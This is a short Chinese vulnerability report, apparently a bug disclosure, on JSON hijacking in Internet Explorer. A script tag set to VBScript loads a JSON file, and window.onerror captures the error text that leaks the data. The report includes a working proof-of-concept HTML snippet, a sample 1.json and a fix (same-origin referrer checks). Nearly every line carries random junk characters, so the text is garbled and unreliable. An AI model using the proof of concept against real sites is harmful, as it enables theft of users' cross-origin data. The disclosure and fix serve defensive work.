简要描述:, ~ u8 i" T" T3 w
- [: K& I' V3 Q8 {1 E
由于某些资源容器对数据处理不当导致json劫持漏洞.9 Z5 d" Q7 C- k* ~3 o
详细说明:" U$ ?; k% I. s9 [ c
由于ie支持vbscript,所以script元素可以指定成vbscript语言:! x* }" X8 Q" ?; w- F
<script language=vbscript></script>% b1 @# V6 J j# f- B5 x0 Q
e! M2 \2 D# g" g. Y3 `/ _$ h当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
6 D: _' ]2 |/ x漏洞证明:" M, B+ O/ `7 i
<script>
6 V; ?7 A& K" Fwindow.onerror=function(_){( x" w: K V$ `" B5 D
alert(_)! {9 T% a! t) A8 _# F& J8 f
}
' X, ^% A0 Z! X/ v3 I" ^</script>
2 b) F. B/ M6 S3 N# V& D- C9 }! }. W<script language=vbscript src=1.json></script>% l0 C- W' t: `: ~5 G
, k; D F2 D9 D) j
4 o9 ]& G5 p+ \( i' U8 s4 |9 R1.json:4 r- m8 k1 `# K' A5 k9 `% i
[{"name":"sogili","age":19}]6 N: N0 L2 d2 W0 B5 T2 K( Q
修复方案:) X2 F8 P9 [; k! J* M2 Q' Q2 [3 n
网站业务对于这个问题可以通过验证referrer是否为同源来防御 |